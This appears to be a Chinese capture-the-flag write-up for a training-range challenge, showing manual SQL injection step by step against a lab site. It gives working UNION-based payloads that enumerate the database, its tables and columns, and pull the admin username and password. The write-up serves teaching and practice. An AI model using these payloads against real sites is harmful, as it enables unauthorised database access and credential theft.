封神台——手工注入基础(猫舍)

    技术2025-03-18  19

    题目提示很明显,就是sql注入拿到管理员密码

     点击传送门进入看到的是一个很简陋的猫舍页面

    域名简单,没看到注入点http://59.63.200.79:8003/

    点击新闻页面看看

    域名后面加上了id=1,说明存在着数据库的交互

    那么这里就很有可能是注入点

    把这个作为我们的目标urlhttp://59.63.200.79:8003/?id=1

    进入手工注入步骤

    第一步 判断是否存在SQL注入漏洞

    构造and 1=1,这个语句是恒成立的,一般页面都是不报错的

    再来试试1=2

    出错,初步说明存在着注入漏洞

    第二步 判断数据库字段数

    在这里会使用到order by()函数,它会根据后面的参数来改变排序顺序,比如数据库里有多个列,根据选取的列明,id,name,来排序

    构造?id=1 and 1=1 order by 1 页面没有变化(order by 1表示根据第一列来排序,一般也是如此默认升序的)

    再来依次构造order by 2 / order by 3

    由MySQL的语法有,order by后面的数据超过列数后将会报错,因此用种方法来判断一共有几个字段

    当进行到order by 3 后,页面显示错误,因此判断一共只有两个字段 

    第三步 判断回显点

    回显点就是在页面中能显示数据库信息的板块,比如有的网页中“浏览次数”“发布时间”等,都反应的是数据库中的数据

    于是我们使用联合查询

    我们同时查询这两个数据

    但要注意的是,在MySQL语句中,页面一次只能显示一行查询的内容,而且是线差后显示,于是我们需要让前面的语句?id=1 and 1=1这句话失效,从而显示union select 1,2的内容

    因此我们让前一个命令报错无法显示,即构造?id=1 and 1=2,后面照常union select 1,2

    这样就完全没用

    必须构造1=2

    找到了回显点2

     

    第四步 查询相关内容

    1.查询表

    已知2为回显点,我们只需要在联合查询时将2替代为我们想要查询到部位名称即可

    可以查询当前的数据库名,将2替换为database()

    构造id=1 and 1=2 union select 1,database()

    数据库名为maoshe

    查询当前数据库 表名

    构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车

    limit 0,1的意思是从0开始,查询第1个数据

    查询到的数据库名为admin

    查询limit 1,1看看,数据库名这样

     2,1这样

    3,1这样

    4,1就空白了,说明一共就四张表

    一般关于管理员的信息都在admin表中

     

    2.查询字段名

    查询admin表的列名

    构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

    第一列是id

    ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

    第二列是username

     ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

    第三列是password

    该有的信息都找到了,直接查询就行了

    3.查询字段内容

    构造 ?id=1 and 1=2 union select 1,username from admin  limit 0,1 查询登陆用户名

    构造 ?id=1 and 1=2 union select 1,password from admin  limit 0,1查询密码

    Processed: 0.013, SQL: 9